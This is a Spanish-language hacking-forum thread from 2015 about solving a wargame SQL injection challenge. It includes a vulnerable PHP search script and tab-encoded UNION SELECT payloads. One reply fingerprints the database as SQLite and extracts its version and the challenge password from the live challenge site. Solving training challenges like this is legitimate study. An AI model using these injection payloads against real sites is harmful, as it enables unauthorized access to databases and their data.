elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  Duda con reto de iSQL
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Duda con reto de iSQL  (Leído 5,762 veces)
Shell Root
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.724


<3


Ver Perfil WWW
Duda con reto de iSQL
« en: 6 Marzo 2015, 16:49 pm »

Andaba resolviendo algunos wargames, y me encontre con este! Se trata de encontrar la versión del MySQL. El script es esté:

NOTA: La parte comentareada es parte del script original la cambie para montarlo en mi localhost
Código
  1.    if ( !empty( $_GET['buscar'] ) ){
  2.        $buscar = (string) stripslashes( $_GET['buscar'] );
  3.  
  4.        if ( 40 < strlen($buscar) )
  5.            die('Hacker!');
  6.  
  7.        $palabras = explode( ' ', $buscar );
  8.        if ( 3 < count($palabras) )
  9.            die('No se permiten mas de 3 palabras en la busqueda.');
  10.  
  11.        #$consulta = 'SELECT * FROM diccionario WHERE';
  12.        $consulta = 'SELECT * FROM tbl WHERE';
  13.        foreach( (array) $palabras as $palabra )
  14.            $consulta .= " nombre LIKE '%{$palabra}%' OR";
  15.            #$consulta .= " yrClaves LIKE '%{$palabra}%' OR";
  16.  
  17.        $consulta = substr( $consulta, 0, -3 );
  18.        $consulta .= " LIMIT 1;";
  19.    }else{
  20.        $consulta = 'SELECT * FROM tbl LIMIT ' . mt_rand( 0, 5 ) . ',1;';
  21.    }
  22.  
  23.    # Esto es para mi localhost
  24.    $cnn = mysql_connect("127.0.0.1", "root", "");
  25.    $db = mysql_select_db("PoC");
  26.    $query = mysql_query($consulta);
  27.    if( $query !== false ){
  28.        $data = mysql_fetch_array($query);
  29.    }

El tema es que en mi localhost logro obtener la versión del MySQL, pero en el wargame no! De la siguiente manera,
Código
  1. 5'%09union%09select%09@@version,2%09%23
Para que la query quede de la siguiente manera,
Código
  1. SELECT * FROM tbl WHERE nombre LIKE '%5' UNION SELECT @@version,2 #%' LIMIT 1;
En mi caso el resultado es: 5.6.21

El reto original esta online, es -> aHR0cDovL3d3dy55YXNoaXJhLm9yZy9SZVRvcy9BbGwvMTY3L2RpY2Npb25hcmlvLnBocD9idXNjYXI9aXNxbA==
« Última modificación: 6 Marzo 2015, 16:56 pm por Shell Root » En línea

Te vendería mi talento por poder dormir tranquilo.
ivancea96


Desconectado Desconectado

Mensajes: 3.412


ASMático


Ver Perfil WWW
Re: Duda con reto de iSQL
« Respuesta #1 en: 6 Marzo 2015, 23:02 pm »

Cómo haces para saltarte el count de palabras>3? xD



EDITO: Vale, ya vi, ignórame xD
En línea

Shell Root
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.724


<3


Ver Perfil WWW
Re: Duda con reto de iSQL
« Respuesta #2 en: 16 Marzo 2015, 17:28 pm »

No he podido pillar que es lo que pasa, supongo que mi mysql es diferente al que tengo y por eso en mis pruebas lo he pasado, pero en el del reto no. Alguna idea?

PD: Ahora tengo que bypassear esto, no tengo la obsoluta idea de como pasarlo.
Código
  1. $usuario = (!get_magic_quotes_gpc())?addslashes($_POST['user']):$_POST['user'];
En línea

Te vendería mi talento por poder dormir tranquilo.
WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.605


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: Duda con reto de iSQL
« Respuesta #3 en: 15 Abril 2015, 04:56 am »

Recuerda que al final le quitan 3 carácteres por el "OR". Agregale 3 carácteres vacios extras:

http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=s%%27%09order%09by%094%09--09%09%09%09

Con 4 columnas renorna el valor, con 5 no, por lo cual la tabla tiene 4 columnas:

http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=1%27%09union%09select%091,2,3,4%09--09%09%09%09

También puedes hacer una continuación de la consulta en ves de finalizarla para ganar mas espacio de carácteres (ya que te limita a 40):

http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=1%27%09union%09select%091,2,3,%274

Al final las única columna que retornan valores acortando la consulta final es el 3

Igual está raro si, no resuelve nada, ni user() ni @@version ni si quiera un concat:

http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=1%27%09union%09select%091,2,concat%28%27c%27%29,%274

Será sqlite?

www.yashira.org/ReTos/All/167/diccionario.php?buscar=1'%09union%09select%091,2,'a'||'b','4

Bingo! sqlite concatena strings utilizando el operador OR en símbolo ||, asi que puse 'a'||'b' y me retornó "ab".

Ahora si, a continuar con la inyección, usamos la función sqlite_version() para retornar la versión de la base de datos:

http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=%27%09union%09select%091,2,sqlite_version%28%29,%274

Y listo:

Citar
Congrats!, Password: e98f1ae3f5bdeab2d89d8c928723a9f9

Citar
Andaba resolviendo algunos wargames, y me encontre con este! Se trata de encontrar la versión del MySQL

Donde dice MySQL?

Saludos.
« Última modificación: 15 Abril 2015, 05:06 am por WHK » En línea

Shell Root
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.724


<3


Ver Perfil WWW
Re: Duda con reto de iSQL
« Respuesta #4 en: 15 Abril 2015, 14:23 pm »

Pues tienes toda la pinche razón jajajaj me deje llevar y pense que era MySQL. Y es más, dentro del código dice que es:
Código
  1. $db = new PDO( 'sqlite:diccionario.sqlite' );
En línea

Te vendería mi talento por poder dormir tranquilo.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Subir Shell por medio de ISQL
Nivel Web
.:UND3R:. 2 5,389 Último mensaje 10 Mayo 2011, 22:47 pm
por ~ Yoya ~
Bypass + iSQL
Nivel Web
Shell Root 5 4,327 Último mensaje 1 Junio 2011, 21:01 pm
por .mokk.
Duda reto warzone.
WarZone
acoevil 6 6,844 Último mensaje 1 Mayo 2012, 19:37 pm
por Stakewinner00
Se puede hacer un INTO OUTFILE en una iSQL BLIND?
Nivel Web
Shell Root 2 2,630 Último mensaje 18 Marzo 2013, 21:07 pm
por WHK
ISQL Oracle
Nivel Web
.:UND3R:. 3 3,138 Último mensaje 9 Diciembre 2014, 16:33 pm
por Shell Root
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines